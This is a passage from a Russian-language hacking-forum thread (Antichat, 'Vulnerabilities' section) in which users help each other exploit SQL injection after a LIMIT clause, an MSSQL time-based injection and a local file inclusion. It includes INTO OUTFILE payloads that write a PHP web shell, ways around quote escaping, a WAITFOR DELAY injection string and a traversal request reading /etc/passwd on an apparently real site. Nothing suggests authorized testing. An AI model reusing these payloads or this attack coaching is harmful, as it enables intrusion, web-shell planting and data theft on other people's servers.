HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.02.2019, 18:38
giloo
Новичок
Регистрация: 02.02.2019
Сообщений: 28
С нами: 3831446

Репутация: 4
По умолчанию

Цитата:
Сообщение от crlf  

В ошибке явно указано, что нарушен синтаксис. Лучше один раз увидеть, то бишь установить локально MySQL и разобраться в синтаксисе. Или, как минимум, почитать гайды по SQL инъекциям для новичков.
Гайды перечитаны) уже голова трещит от них(

Цитата:
Сообщение от karkajoi  

http://www.securityidiots.com/Web-P...XPATH-Error-Based-Injection-Extractvalue.html
изучаем, пробуем.
Сразу надо оговорится, что длина вывода не будет превышать 32 символа вроде. Что б вывести все что 32+ символы(хэш например) надо воспользоватся функцией substring(hash,32)
Спасибо! Но вы дали ссылку на входящий параметр до LIMIT.

У меня же можно инъектироваться после ORDER BY id LIMIT 0,5 >

Если я пробую UNION, то выдает ошибку что ORDERне совместим с UNION((
 
Ответить с цитированием

  #2  
Старый 11.02.2019, 18:50
giloo
Новичок
Регистрация: 02.02.2019
Сообщений: 28
С нами: 3831446

Репутация: 4
По умолчанию

Нашла еще способ инъекции:

SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO @var1,@var2

Но кроме переменных ничего невозможно вставить(

Так не хочет:


SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO (SELECT 1),@var2

Есть идеи у кого-нибудь?
 
Ответить с цитированием

  #3  
Старый 12.02.2019, 03:26
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

Цитата:
Сообщение от giloo  

Нашла еще способ инъекции:
SELECT id,name FROM cities ORDER BY id LIMIT 0,5
INTO @var1,@var2
Но кроме переменных ничего невозможно вставить(

Так не хочет:

SELECT id,name FROM cities ORDER BY id LIMIT 0,5 INTO (SELECT 1),@var2

Есть идеи у кого-нибудь?
INTO - https://dev.mysql.com/doc/refman/8.0...lect-into.html

Цитата:
Сообщение от giloo  

procedure analyse(1,1) помогает, но не позволяет вызывать функции в параметрах(
То есть даже не дает 1+1 внутри выполнить
DoS Bug - https://nvd.nist.gov/vuln/detail/CVE-2015-4870

Он давно пофиксен, подзапросы больше не работают! Можете вывести только, например, название текущей базы данных, версию и текущего пользователя от которого идет подключение!

Если у пользователя есть права на запись в фс пробуйте:

Код:
?q=1 into outfile '/path/to/shell.php' lines terminated by ""--+

?q=1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by ""--+
 
Ответить с цитированием

  #4  
Старый 12.02.2019, 11:06
giloo
Новичок
Регистрация: 02.02.2019
Сообщений: 28
С нами: 3831446

Репутация: 4
По умолчанию

Цитата:
Сообщение от cat1vo  

INTO -
https://dev.mysql.com/doc/refman/8.0...lect-into.html
DoS Bug -
https://nvd.nist.gov/vuln/detail/CVE-2015-4870
Он давно пофиксен, подзапросы больше не работают! Можете вывести только, например, название текущей базы данных, версию и текущего пользователя от которого идет подключение!
Если у пользователя есть права на запись в фс пробуйте:
Код:
?q=1 into outfile '/path/to/shell.php' lines terminated by ""--+

?q=1 into outfile '/path/to/shell.php' fields terminated by '' optionally enclosed by ""--+
Спасибо! К несчастью сервер экранирует ковычки. А на строку в виде hex ругается... Значит здесь все? Никак нельзя?(
 
Ответить с цитированием

  #5  
Старый 12.02.2019, 15:06
karkajoi
Постоянный
Регистрация: 26.10.2016
Сообщений: 438
С нами: 5025206

Репутация: 5
По умолчанию

Цитата:
Сообщение от giloo  

Спасибо! К несчастью сервер экранирует ковычки. А на строку в виде hex ругается... Значит здесь все? Никак нельзя?(
char(), aes_decrypt(aes_encrypt())
 
Ответить с цитированием

  #6  
Старый 14.02.2019, 13:28
hshad
Новичок
Регистрация: 14.02.2019
Сообщений: 1
С нами: 3814166

Репутация: 0
По умолчанию

есть инъекция вида

Код:
param=1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
как выводить через нее что либо?

и есть ли возможность подружить с мапом как-то?
 
Ответить с цитированием

  #7  
Старый 17.02.2019, 17:09
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию

есть локальный инклуд позволяющий читать произвольные файлы /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../etc/passwd

проблема в выводе которая ограничивается 6 строками есть идеи как обойти?
 
Ответить с цитированием

  #8  
Старый 17.02.2019, 17:16
altblitz
Постоянный
Регистрация: 05.06.2009
Сообщений: 706
С нами: 8912858

Репутация: 759


По умолчанию

Цитата:
Сообщение от pinch  

есть локальный инклуд позволяющий читать произвольные файлы /style.less?update=e51qf61z&imports[]=../../../../../../../../../../../etc/passwd
проблема в выводе которая ограничивается 6 строками есть идеи как обойти?
Возможно, ограничение в вывод 6 строк, заложено изначально в серверном приложении, к которому идёт обращение и обработка скрипта.
 
Ответить с цитированием

  #9  
Старый 17.02.2019, 17:49
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию

файлы с форматом less нормально читаются /style.less?update=e51qf61z&imports[]=/css/main/themes/default.less а вот с другими парсер выдает ошибку

/* LESS COMPILE ERROR */

/* ParseError: Unexpected input in robots.txt on line 1, column 10

1| User-Agent: *

2|

3| Disallow: /1

4| Disallow: /2

5| Disallow: /3

6| Disallow: /4 */
 
Ответить с цитированием

  #10  
Старый 17.02.2019, 19:22
altblitz
Постоянный
Регистрация: 05.06.2009
Сообщений: 706
С нами: 8912858

Репутация: 759


По умолчанию

Цитата:
Сообщение от pinch  

файлы с форматом less нормально читаются /style.less?update=e51qf61z&imports[]=/css/main/themes/default.less а вот с другими парсер выдает ошибку
/* LESS COMPILE ERROR */
/* ParseError: Unexpected input in robots.txt on line 1, column 10
1| User-Agent: *
2|
3| Disallow: /1
4| Disallow: /2
5| Disallow: /3
6| Disallow: /4 */
Строку User-agent, сервер желает видеть не *, а вполне браузерного вида:

Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0, не так ли?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.